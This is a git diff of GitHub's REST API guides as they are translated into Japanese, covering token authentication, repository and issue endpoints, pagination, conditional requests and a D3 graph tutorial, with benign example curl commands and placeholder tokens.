-When authenticating, you should see your rate limit bumped to 5,000 requests an hour, as indicated in the `X-RateLimit-Limit` header. In addition to providing more calls per hour, authentication enables you to read and write private information using the API.
+認証の際、`X-RateLimit-Limit`ヘッダが示す通り、レート制限が1時間に5,000リクエストに上がったことがわかるはずです。 1時間あたりの呼び出し数が増えるだけでなく、認証するとAPIを使用してプライベート情報を読み書きできます。
 
-You can easily [create a **personal access token**][personal token] using your [Personal access tokens settings page][tokens settings]:
+[個人アクセストークンの設定ページ][tokens settings]から、簡単に[**個人アクセストークン**を作成][personal token]できます。
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %}
 {% warning %}
@@ -157,22 +143,20 @@ To help keep your information secure, we highly recommend setting an expiration
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-![Personal Token selection](/assets/images/personal_token.png)
+![個人トークンの選択](/assets/images/personal_token.png)
 {% endif %}
 
 {% ifversion ghae %}
-![Personal Token selection](/assets/images/help/personal_token_ghae.png)
+![個人トークンの選択](/assets/images/help/personal_token_ghae.png)
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %}
 API requests using an expiring personal access token will return that token's expiration date via the `GitHub-Authentication-Token-Expiration` header. You can use the header in your scripts to provide a warning message when the token is close to its expiration date.
 {% endif %}
 
-### Get your own user profile
+### ユーザプロフィールの取得
 
-When properly authenticated, you can take advantage of the permissions
-associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For example, try getting
-[your own user profile][auth user api]:
+When properly authenticated, you can take advantage of the permissions associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. たとえば、あなたのプロフィールを取得してみましょう。
 
 ```shell
 $ curl -i -u <em>your_username</em>:<em>your_token</em> {% data variables.product.api_url_pre %}/user
@@ -189,89 +173,72 @@ $ curl -i -u <em>your_username</em>:<em>your_token</em> {% data variables.produc
 > }
 ```
 
-This time, in addition to the same set of public information we
-retrieved for [@defunkt][defunkt github] earlier, you should also see the non-public information for your user profile. For example, you'll see a `plan` object in the response which gives details about the {% data variables.product.product_name %} plan for the account.
+今回は、以前に[@defunkt][defunkt github]について取得した公開情報の同じセットに加えて、あなたのユーザプロフィールのパブリックではない情報もあるはずです。 たとえば、アカウントの{% data variables.product.product_name %}プランに関する詳細を持つ`plan`オブジェクトがレスポンス中にあります。
 
-### Using OAuth tokens for apps
+### OAuthトークンのアプリケーションへの使用
 
-Apps that need to read or write private information using the API on behalf of another user should use [OAuth][oauth].
+他のユーザに代わりAPIを使用してプライベートな情報を読み書きする必要があるアプリは、 [OAuth][oauth]を使用すべきです。
 
-OAuth uses _tokens_. Tokens provide two big features:
+OAuthは_トークン_を使用します。 トークンには、次の2つの重要な機能があります。
 
-* **Revokable access**: users can revoke authorization to third party apps at any time
-* **Limited access**: users can review the specific access that a token
-  will provide before authorizing a third party app
+* **アクセスを取り消せる**: ユーザはサードパーティアプリケーションへの認可をいつでも取り消すことができます
+* **制限付きアクセス**: ユーザはサードパーティーアプリケーションを認可する前に、トークンが提供する特定のアクセスを確認できます
 
-Tokens should be created via a [web flow][webflow]. An application
-sends users to {% data variables.product.product_name %} to log in. {% data variables.product.product_name %} then presents a dialog
-indicating the name of the app, as well as the level of access the app
-has once it's authorized by the user. After a user authorizes access, {% data variables.product.product_name %}
-redirects the user back to the application:
+トークンは[web フロー][webflow]から作成してください。 アプリケーションはユーザを{% data variables.product.product_name %}に送信してログインします。 それから{% data variables.product.product_name %}はアプリケーションの名前と、ユーザが認可した場合のアクセス権レベルを示すダイアログを表示します。 ユーザがアクセスを認可すると、{% data variables.product.product_name %}はユーザをアプリケーションにリダイレクトします。
 
-![GitHub's OAuth Prompt](/assets/images/oauth_prompt.png)
+![GitHubのOAuthプロンプト](/assets/images/oauth_prompt.png)
 
-**Treat OAuth tokens like passwords!** Don't share them with other users or store
-them in insecure places. The tokens in these examples are fake and the names have
-been changed to protect the innocent.
+**OAuthトークンはパスワードと同様に扱ってください。**他のユーザと共有したり、安全でない場所に保存したりしてはいけません。 ここにあるトークンのサンプルは架空のものであり、不要な被害を防ぐため名前を変更しています。
 
-Now that we've got the hang of making authenticated calls, let's move along to
-the [Repositories API][repos-api].
+さて、これで認証された呼び出しのコツをつかみました。それでは次は[リポジトリ API][repos-api]に進みましょう。
 
-## Repositories
+## リポジトリ
 
-Almost any meaningful use of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API will involve some level of Repository
-information. We can [`GET` repository details][get repo] in the same way we fetched user
-details earlier:
+Almost any meaningful use of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API will involve some level of Repository information. 以前にユーザ情報をフェッチしたのと同じ方法で、[リポジトリの詳細を`GET`][get repo]できます。
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/twbs/bootstrap
 ```
 
-In the same way, we can [view repositories for the authenticated user][user repos api]:
+同様に、[認証済みのユーザのリポジトリを表示][user repos api]できます。
 
 ```shell
 $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \
     {% data variables.product.api_url_pre %}/user/repos
 ```
 
-Or, we can [list repositories for another user][other user repos api]:
+また、[別のユーザのリポジトリを一覧表示][other user repos api]できます。
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/users/octocat/repos
 ```
 
-Or, we can [list repositories for an organization][org repos api]:
+あるいは、[Organizationのリポジトリを一覧表示][org repos api]することもできます。
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/orgs/octo-org/repos
 ```
 
-The information returned from these calls will depend on which scopes our token has when we authenticate:
+これらの呼び出しから返される情報は、認証時にトークンが持っているスコープにより異なります。
 
 {%- ifversion fpt or ghec or ghes %}
 * A token with `public_repo` [scope][scopes] returns a response that includes all public repositories we have access to see on {% data variables.product.product_location %}.
 {%- endif %}
 * A token with `repo` [scope][scopes] returns a response that includes all {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories we have access to see on {% data variables.product.product_location %}.
 
-As the [docs][repos-api] indicate, these methods take a `type` parameter that
-can filter the repositories returned based on what type of access the user has
-for the repository. In this way, we can fetch only directly-owned repositories,
-organization repositories, or repositories the user collaborates on via a team.
+[Docs][repos-api]に記載されている通り、これらのメソッドは`type`パラメータを取り、これによって、ユーザがリポジトリに対して持つアクセス権に基づき、返されるリポジトリをフィルタリングできます。 こうすることで、直接所有するリポジトリ、Organizationのリポジトリ、またはチームによりユーザがコラボレーションするリポジトリに限定してフェッチすることができます。
 
 ```shell
 $ curl -i "{% data variables.product.api_url_pre %}/users/octocat/repos?type=owner"
 ```
 
-In this example, we grab only those repositories that octocat owns, not the
-ones on which she collaborates. Note the quoted URL above. Depending on your
-shell setup, cURL sometimes requires a quoted URL or else it ignores the
-query string.
+この例では、octocatが所有するリポジトリのみを取得し、コラボレーションするリポジトリは取得しません。 URLが引用符で囲まれていることに注目してください。 シェルの設定によっては、cURLはURLを引用符で囲まないとクエリ文字列型を無視することがあります。
 
-### Create a repository
+### リポジトリの作成
 
-Fetching information for existing repositories is a common use case, but the
-{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API supports creating new repositories as well. To [create a repository][create repo],
-we need to `POST` some JSON containing the details and configuration options.
+既存のリポジトリ情報をフェッチすることは一般的なユースケースですが、
+{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API supports creating new repositories as well. [リポジトリを作成する][create repo]には、
+詳細情報や設定オプションを含んだいくつかのJSONを`POST`する必要があります。
 
 ```shell
 $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \
@@ -284,14 +251,11 @@ $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghe
     {% data variables.product.api_url_pre %}/user/repos
 ```
 
-In this minimal example, we create a new private repository for our blog (to be served
-on [GitHub Pages][pages], perhaps). Though the blog {% ifversion not ghae %}will be public{% else %}is accessible to all enterprise members{% endif %}, we've made the repository private. In this single step, we'll also initialize it with a README and a [nanoc][nanoc]-flavored [.gitignore template][gitignore templates].
+この最小限の例では、ブログ用の新しいプライベートリポジトリを作成しています ([GitHub Pages][pages]で提供されるかもしれません)。 このブログは{% ifversion not ghae %}パブリックになり{% else %}すべてのEnterpriseメンバーからアクセスできるようになり{% endif %}ますが、このリポジトリはプライベートにしました。 このステップでは、READMEと[nanoc][nanoc]フレーバーの[.gitignore テンプレート][gitignore templates]によるリポジトリの初期化も行います。
 
-The resulting repository will be found at `https://github.com/<your_username>/blog`.
-To create a repository under an organization for which you're
-an owner, just change the API method from `/user/repos` to `/orgs/<org_name>/repos`.
+生成されたリポジトリは、`https://github.com/<your_username>/blog`にあります。 オーナーであるOrganization以下にリポジトリを作成するには、APIメソッドを `/user/repos`から`/orgs/<org_name>/repos`に変更するだけです。
 
-Next, let's fetch our newly created repository:
+次に、新しく作成したリポジトリをフェッチしましょう。
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog
@@ -303,46 +267,36 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog
 > }
 ```
 
-Oh noes! Where did it go? Since we created the repository as _private_, we need
-to authenticate in order to see it. If you're a grizzled HTTP user, you might
-expect a `403` instead. Since we don't want to leak information about private
-repositories, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API returns a `404` in this case, as if to say "we can
-neither confirm nor deny the existence of this repository."
+あれれ？ どこにいったのでしょう。 リポジトリを_プライベート_にして作成したので、表示するには認証する必要があります。 古参のHTTPユーザの方なら、`403`が出ると思っていたかもしれません。 Since we don't want to leak information about private repositories, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API returns a `404` in this case, as if to say "we can neither confirm nor deny the existence of this repository."
 
-## Issues
+## Issue
 
-The UI for Issues on {% data variables.product.product_name %} aims to provide 'just enough' workflow while
-staying out of your way. With the {% data variables.product.product_name %} [Issues API][issues-api], you can pull
-data out or create issues from other tools to create a workflow that works for
-your team.
+{% data variables.product.product_name %}のIssue用UIは、「必要十分」なワークフローを提供しつつ、邪魔にならないということを目指しています。 {% data variables.product.product_name %} [Issues API][issues-api]を使えば、他のツールからデータを引き出したり、Issueを作成したりして、あなたのTeamに合ったワークフローを作成できます。
 
-Just like github.com, the API provides a few methods to view issues for the
-authenticated user. To [see all your issues][get issues api], call `GET /issues`:
+GitHub.comと同じように、Issues APIは認証されたユーザがIssueを表示するためのメソッドをいくつか提供します。 [すべてのIssueを表示][get issues api]するには、`GET /issues`を呼び出します。
 
 ```shell
 $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \
     {% data variables.product.api_url_pre %}/issues
 ```
 
-To get only the [issues under one of your {% data variables.product.product_name %} organizations][get issues api], call `GET
-/orgs/<org>/issues`:
+[あなたの{% data variables.product.product_name %} Organizationのうちの1つのIssue][get issues api]のみを取得するには、`GET
+/orgs/<org>/issues`を呼び出します。
 
 ```shell
 $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \
     {% data variables.product.api_url_pre %}/orgs/rails/issues
 ```
 
-We can also get [all the issues under a single repository][repo issues api]:
+また、[1つのリポジトリにあるすべてのIssue][repo issues api]を取得することもできます。
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues
 ```
 
-### Pagination
+### ページネーション
 
-A project the size of Rails has thousands of issues. We'll need to [paginate][pagination],
-making multiple API calls to get the data. Let's repeat that last call, this
-time taking note of the response headers:
+Railsのような規模のプロジェクトになれば、万単位のIssueがあります。 [ページネーション][pagination]を行い、API呼び出しを複数回行ってデータを取得する必要があります。 直近で行った呼び出しを繰り返してみましょう。今回はレスポンスヘッダに注目してください。
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues
@@ -354,20 +308,13 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues
 > ...
 ```
 
-The [`Link` header][link-header] provides a way for a response to link to
-external resources, in this case additional pages of data. Since our call found
-more than thirty issues (the default page size), the API tells us where we can
-find the next page and the last page of results.
+[`Link`ヘッダ][link-header]は、外部リソースへのリンクに対するレスポンスの方法を提供します。今回の場合は、追加のデータページです。 呼び出しで30 (デフォルトのページサイズ) を超えるIssueを検出したので、APIは次のページと最後のページの場所を伝えます。
 
-### Creating an issue
+### Issue の作成
 
-Now that we've seen how to paginate lists of issues, let's [create an issue][create issue] from
-the API.
+Issueのリストでページネーションを行う方法を確認したので、次はAPIから[Issueを作成][create issue]しましょう。
 
-To create an issue, we need to be authenticated, so we'll pass an
-OAuth token in the header. Also, we'll pass the title, body, and labels in the JSON
-body to the `/issues` path underneath the repository in which we want to create
-the issue:
+Issueを作成するには認証される必要があるので、ヘッダにOAuthトークンを渡します。 また、タイトル、本文、およびJSONの本文にあるラベルを、Issueを作成したい、リポジトリ以下の`/issues`パスに渡します。
 
 ```shell
 $ curl -i -H 'Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}' \
@@ -419,14 +366,11 @@ $    {% data variables.product.api_url_pre %}/repos/pengwynn/api-sandbox/issues
 > }
 ```
 
-The response gives us a couple of pointers to the newly created issue, both in
-the `Location` response header and the `url` field of the JSON response.
+レスポンスでは、新しく作成されたIssueに2つのポインタを提供し、それは両方とも`Location`レスポンスヘッダとJSONレスポンスの `url`フィールドにあります。
 
-## Conditional requests
+## 条件付きリクエスト
 
-A big part of being a good API citizen is respecting rate limits by caching information that hasn't changed. The API supports [conditional
-requests][conditional-requests] and helps you do the right thing. Consider the
-first call we made to get defunkt's profile:
+良きAPI利用者であるために非常に大切なのは、変更されていない情報をキャッシュして、レート制限を尊重するということです。 APIは[条件付きリクエスト][conditional-requests]をサポートしており、正しいことを行うための役に立ちます。 最初に呼び出した、Chris Wanstrathのプロフィールを取り上げてみましょう。
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/users/defunkt
@@ -435,10 +379,7 @@ $ curl -i {% data variables.product.api_url_pre %}/users/defunkt
 > etag: W/"61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0"
 ```
 
-In addition to the JSON body, take note of the HTTP status code of `200` and
-the `ETag` header.
-The [ETag][etag] is a fingerprint of the response. If we pass that on subsequent calls,
-we can tell the API to give us the resource again, only if it has changed:
+JSONの本文に加え、HTTPステータスコード `200`と`ETag`ヘッダに注目してください。 [ETag][etag]はレスポンスのフィンガープリントです。 後続の呼び出しにこれを渡すと、変更されたリソースだけを渡すようAPIに伝えることができます。
 
 ```shell
 $ curl -i -H 'If-None-Match: "61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0"' \
@@ -447,25 +388,24 @@ $    {% data variables.product.api_url_pre %}/users/defunkt
 > HTTP/2 304
 ```
 
-The `304` status indicates that the resource hasn't changed since the last time
-we asked for it and the response will contain no body. As a bonus, `304` responses don't count against your [rate limit][rate-limiting].
+`304`ステータスは、直近のリクエストからリソースが変更されておらず、レスポンスには本文が含まれないことを示しています。 特典として、`304`レスポンスは[レート制限][rate-limiting]にカウントされません。
 
-Woot! Now you know the basics of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API!
+ヤッター！ Now you know the basics of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API!
 
-* Basic & OAuth authentication
-* Fetching and creating repositories and issues
-* Conditional requests
+* Basic & OAuth認証
+* リポジトリおよびIssueのフェッチと作成
+* 条件付きリクエスト
 
-Keep learning with the next API guide [Basics of Authentication][auth guide]!
+続きのAPIガイドで[認証の基本][auth guide]を学びましょう！
 
 [wrappers]: /libraries/
 [curl]: http://curl.haxx.se/
 [media types]: /rest/overview/media-types
 [oauth]: /apps/building-integrations/setting-up-and-registering-oauth-apps/
 [webflow]: /apps/building-oauth-apps/authorizing-oauth-apps/
-[create a new authorization API]: /rest/reference/oauth-authorizations#create-a-new-authorization
 [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
 [repos-api]: /rest/reference/repos
+[repos-api]: /rest/reference/repos
 [pages]: http://pages.github.com
 [nanoc]: http://nanoc.ws/
 [gitignore templates]: https://github.com/github/gitignore
@@ -473,14 +413,13 @@ Keep learning with the next API guide [Basics of Authentication][auth guide]!
 [link-header]: https://www.w3.org/wiki/LinkHeader
 [conditional-requests]: /rest#conditional-requests
 [rate-limiting]: /rest#rate-limiting
+[rate-limiting]: /rest#rate-limiting
 [users api]: /rest/reference/users#get-a-user
-[auth user api]: /rest/reference/users#get-the-authenticated-user
+[defunkt github]: https://github.com/defunkt
 [defunkt github]: https://github.com/defunkt
 [json]: http://en.wikipedia.org/wiki/JSON
 [authentication]: /rest#authentication
-[2fa]: /articles/about-two-factor-authentication
-[2fa header]: /rest/overview/other-authentication-methods#working-with-two-factor-authentication
-[oauth section]: /rest/guides/getting-started-with-the-rest-api#oauth
+[personal token]: /articles/creating-an-access-token-for-command-line-use
 [personal token]: /articles/creating-an-access-token-for-command-line-use
 [tokens settings]: https://github.com/settings/tokens
 [pagination]: /rest#pagination
@@ -492,6 +431,6 @@ Keep learning with the next API guide [Basics of Authentication][auth guide]!
 [other user repos api]: /rest/reference/repos#list-repositories-for-a-user
 [org repos api]: /rest/reference/repos#list-organization-repositories
 [get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user
+[get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user
 [repo issues api]: /rest/reference/issues#list-repository-issues
 [etag]: http://en.wikipedia.org/wiki/HTTP_ETag
-[2fa section]: /rest/guides/getting-started-with-the-rest-api#two-factor-authentication
diff --git a/translations/ja-JP/content/rest/guides/index.md b/translations/ja-JP/content/rest/guides/index.md
index 072e826783..8dca20f533 100644
--- a/translations/ja-JP/content/rest/guides/index.md
+++ b/translations/ja-JP/content/rest/guides/index.md
@@ -1,6 +1,6 @@
 ---
-title: Guides
-intro: 'Learn about getting started with the REST API, authentication, and how to use the REST API for a variety of tasks.'
+title: ガイド
+intro: REST APIおよび認証の初歩や、さまざまなタスクでREST APIを使用する方法について学びましょう。
 redirect_from:
   - /guides
   - /v3/guides
@@ -24,10 +24,5 @@ children:
   - /getting-started-with-the-git-database-api
   - /getting-started-with-the-checks-api
 ---
-This section of the documentation is intended to get you up-and-running with
-real-world {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API applications. We'll cover everything you need to know, from
-authentication, to manipulating results, to combining results with other apps.
-Every tutorial here will have a project, and every project will be
-stored and documented in our public
-[platform-samples](https://github.com/github/platform-samples) repository.
-![The Electrocat](/assets/images/electrocat.png)
+
+This section of the documentation is intended to get you up-and-running with real-world {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API applications. 認証から結果の操作、結果を他のアプリケーションと組み合わせる方法に至るまで、必要な情報をすべて網羅しています。 ここに挙げる各チュートリアルにはプロジェクトがあり、各プロジェクトはパブリックの[platform-samples](https://github.com/github/platform-samples)に保存・文書化されます。 ![Electrocat](/assets/images/electrocat.png)
diff --git a/translations/ja-JP/content/rest/guides/rendering-data-as-graphs.md b/translations/ja-JP/content/rest/guides/rendering-data-as-graphs.md
index a46becae06..171227135a 100644
--- a/translations/ja-JP/content/rest/guides/rendering-data-as-graphs.md
+++ b/translations/ja-JP/content/rest/guides/rendering-data-as-graphs.md
@@ -1,6 +1,6 @@
 ---
-title: Rendering data as graphs
-intro: Learn how to visualize the programming languages from your repository using the D3.js library and Ruby Octokit.
+title: データをグラフとしてレンダリングする
+intro: D3.jsライブラリとRuby Octokitを使用して、リポジトリからプログラミング言語を視覚化する方法を学びましょう。
 redirect_from:
   - /guides/rendering-data-as-graphs
   - /v3/guides/rendering-data-as-graphs
@@ -15,21 +15,15 @@ topics:
  
 
 
-In this guide, we're going to use the API to fetch information about repositories
-that we own, and the programming languages that make them up. Then, we'll
-visualize that information in a couple of different ways using the [D3.js][D3.js] library. To
-interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using the excellent Ruby library, [Octokit][Octokit].
+このガイドでは、APIを使用して、所有するリポジトリと、それを構成するプログラミング言語についての情報を取得します。 次に、[D3.js][D3.js]ライブラリを使用して、その情報をいくつかの方法で視覚化します。 To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using the excellent Ruby library, [Octokit][Octokit].
 
-If you haven't already, you should read the ["Basics of Authentication"][basics-of-authentication]
-guide before starting this example. You can find the complete source code for this project in the [platform-samples][platform samples] repository.
+まだ[「認証の基本」][basics-of-authentication]ガイドを読んでいない場合は、それを読んでからこの例に取りかかってください。 このプロジェクトの完全なソースコードは、[platform-samples][platform samples]リポジトリにあります。
 
-Let's jump right in!
+それでは早速始めましょう！
 
-## Setting up an OAuth application
+## OAuthアプリケーションの設定
 
-First, [register a new application][new oauth application] on {% data variables.product.product_name %}. Set the main and callback
-URLs to `http://localhost:4567/`. As [before][basics-of-authentication], we're going to handle authentication for the API by
-implementing a Rack middleware using [sinatra-auth-github][sinatra auth github]:
+まず、{% data variables.product.product_name %}で[新しいアプリケーションを登録][new oauth application]します。 コールバックURLは`http://localhost:4567/`と設定してください。 [以前][basics-of-authentication]行ったように、[sinatra-auth-github][sinatra auth github]を使用してRackミドルウェアを実装することにより、APIの認証を処理します。
 
 ``` ruby
 require 'sinatra/auth/github'
@@ -68,7 +62,7 @@ module Example
 end
 ```
 
-Set up a similar _config.ru_ file as in the previous example:
+前の例と同様に、_config.ru_ファイルを設定します。
 
 ``` ruby
 ENV['RACK_ENV'] ||= 'development'
@@ -80,15 +74,11 @@ require File.expand_path(File.join(File.dirname(__FILE__), 'server'))
 run Example::MyGraphApp
 ```
 
-## Fetching repository information
+## リポジトリ情報のフェッチ
 
-This time, in order to talk to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we're going to use the [Octokit
-Ruby library][Octokit]. This is much easier than directly making a bunch of
-REST calls. Plus, Octokit was developed by a GitHubber, and is actively maintained,
-so you know it'll work.
+This time, in order to talk to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we're going to use the [Octokit Ruby library][Octokit]. これは、多くのREST呼び出しを直接行うよりもはるかに簡単です。 さらに、OctokitはGitHubberによって開発され、積極的にメンテナンスされているので、確実に動作します。
 
-Authentication with the API via Octokit is easy. Just pass your login
-and token to the `Octokit::Client` constructor:
+Octokit経由のAPIによる認証は簡単です。 ログインとトークンを`Octokit::Client`コンストラクタに渡すだけです。
 
 ``` ruby
 if !authenticated?
@@ -98,17 +88,13 @@ else
 end
 ```
 
-Let's do something interesting with the data about our repositories. We're going
-to see the different programming languages they use, and count which ones are used
-most often. To do that, we'll first need a list of our repositories from the API.
-With Octokit, that looks like this:
+リポジトリに関するデータを使って面白いことをしてみましょう。 使用されているさまざまなプログラミング言語を表示し、どれが一番多く使われているかを数えます。 そのためには、まずAPIからリポジトリのリストを取得する必要があります。 Octokitでは、次のようにします。
 
 ``` ruby
 repos = client.repositories
 ```
 
-Next, we'll iterate over each repository, and count the language that {% data variables.product.product_name %}
-associates with it:
+次に、各レポジトリで処理を繰り返し、{% data variables.product.product_name %}に関連付けられた言語を数えます。
 
 ``` ruby
 language_obj = {}
@@ -126,25 +112,19 @@ end
 languages.to_s
 ```
 
-When you restart your server, your web page should display something
-that looks like this:
+サーバーを再起動すると、ウェブページには以下のように表示されているはずです。
 
 ``` ruby
 {"JavaScript"=>13, "PHP"=>1, "Perl"=>1, "CoffeeScript"=>2, "Python"=>1, "Java"=>3, "Ruby"=>3, "Go"=>1, "C++"=>1}
 ```
 
-So far, so good, but not very human-friendly. A visualization
-would be great in helping us understand how these language counts are distributed. Let's feed
-our counts into D3 to get a neat bar graph representing the popularity of the languages we use.
+ここまではうまくいきましたが、ちょっと取っつきにくいですね。 これらの言語数がどのような分布をしているかを把握するには、視覚化がとても役立つでしょう。 数えたものをD3にフィードし、使用する言語の人気を表す棒グラフを取得しましょう。
 
-## Visualizing language counts
+## 言語数の視覚化
 
-D3.js, or just D3, is a comprehensive library for creating many kinds of charts, graphs, and interactive visualizations.
-Using D3 in detail is beyond the scope of this guide, but for a good introductory article,
-check out ["D3 for Mortals"][D3 mortals].
+D3.js (単にD3と表記することもある) は、多様なチャート、グラフ、インタラクティブな視覚化を作成するための包括的なライブラリです。 D3の詳細はこのガイドが扱う範囲を超えていますが、いい入門記事としては、[「D3 for Mortals」][D3 mortals]をご覧ください。
 
-D3 is a JavaScript library, and likes working with data as arrays. So, let's convert our Ruby hash into
-a JSON array for use by JavaScript in the browser.
+D3はJavaScriptのライブラリで、データを配列として扱うことを好みます。 ですから、ブラウザのJavaScriptで使用するため、RubyのハッシュをJSON配列に変換してみましょう。
 
 ``` ruby
 languages = []
@@ -155,13 +135,9 @@ end
 erb :lang_freq, :locals => { :languages => languages.to_json}
 ```
 
-We're simply iterating over each key-value pair in our object and pushing them into
-a new array. The reason we didn't do this earlier is because we didn't want to iterate
-over our `language_obj` object while we were creating it.
+ここでは単純にオブジェクトの各キー/値ペアを次々と処理して、新しい配列に入れ込んでいます。 これをもっと前に行わなかったのは、`language_obj`オブジェクトを作成しながら次々と処理していきたくはなかったからです。
 
-Now, _lang_freq.erb_ is going to need some JavaScript to support rendering a bar graph.
-For now, you can just use the code provided here, and refer to the resources linked above
-if you want to learn more about how D3 works:
+さて、棒グラフのレンダリングをサポートするため、_lang_freq.erb_には何らかのJavaScriptが必要となります。 さしあたっては、ここで提供しているコードを使うことにしましょう。D3のしくみについて詳しく学びたければ、上記でリンクした資料を参照してください。
 
 ``` html
 <!DOCTYPE html>
@@ -242,26 +218,15 @@ if you want to learn more about how D3 works:
 </html>
 ```
 
-Phew! Again, don't worry about what most of this code is doing. The relevant part
-here is a line way at the top--`var data = <%= languages %>;`--which indicates
-that we're passing our previously created `languages` array into ERB for manipulation.
+いかがですか。 このコードが何をしているか詳しく知る必要はありません。 ここで注目してほしいのは、てっぺんの行の`var data = <%= languages %>;`の部分です。これは、以前に作成した`languages`の行列を、操作のためERBに渡すことを示しています。
 
-As the "D3 for Mortals" guide suggests, this isn't necessarily the best use of
-D3. But it does serve to illustrate how you can use the library, along with Octokit,
-to make some really amazing things.
+「D3 for Mortals」のガイドが示すように、これは必ずしもD3の最善の利用法ではありません。 ただ、Octokitと一緒にライブラリを使って、とっても素晴らしいものを作る方法を説明するには役立ちます。
 
-## Combining different API calls
+## さまざまなAPI呼び出しの組み合わせ
 
-Now it's time for a confession: the `language` attribute within repositories
-only identifies the "primary" language defined. That means that if you have
-a repository that combines several languages, the one with the most bytes of code
-is considered to be the primary language.
+さて、ここで本当のことを言いましょう。リポジトリの`language`属性が識別するのは、「主な」言語として定義されたものだけです。 つまり、複数の言語が混ざったリポジトリでは、コードのバイト数が最も多い言語が主言語とみなされます。
 
-Let's combine a few API calls to get a _true_ representation of which language
-has the greatest number of bytes written across all our code. A [treemap][D3 treemap]
-should be a great way to visualize the sizes of our coding languages used, rather
-than simply the count. We'll need to construct an array of objects that looks
-something like this:
+いくつかのAPI呼び出しを組み合わせて、コード全体でどの言語のバイト数が最も多いかを_厳密に_表してみましょう。 コーディングに使われている言語のサイズを視覚化する方法としては、単純な数よりも[ツリーマップ][D3 treemap]を使った方が見栄えがいいでしょう。 次のようなオブジェクトの配列を構築する必要があります。
 
 ``` json
 [ { "name": "language1", "size": 100},
@@ -270,8 +235,7 @@ something like this:
 ]
 ```
 
-Since we already have a list of repositories above, let's inspect each one, and
-call [the language listing API method][language API]:
+すでに上記でリポジトリのリストを取得しているので、それぞれを調べて、[言語をリスト化するAPIメソッド][language API]を呼び出しましょう。
 
 ``` ruby
 repos.each do |repo|
@@ -280,7 +244,7 @@ repos.each do |repo|
 end
 ```
 
-From there, we'll cumulatively add each language found to a list of languages:
+そこから、見つかった各言語を言語のリストに次々に追加していきます。
 
 ``` ruby
 repo_langs.each do |lang, count|
@@ -292,7 +256,7 @@ repo_langs.each do |lang, count|
 end
 ```
 
-After that, we'll format the contents into a structure that D3 understands:
+それから、コンテンツをD3が理解できる構造にフォーマットします。
 
 ``` ruby
 language_obj.each do |lang, count|
@@ -303,16 +267,15 @@ end
 language_bytes = [ :name => "language_bytes", :elements => language_byte_count]
 ```
 
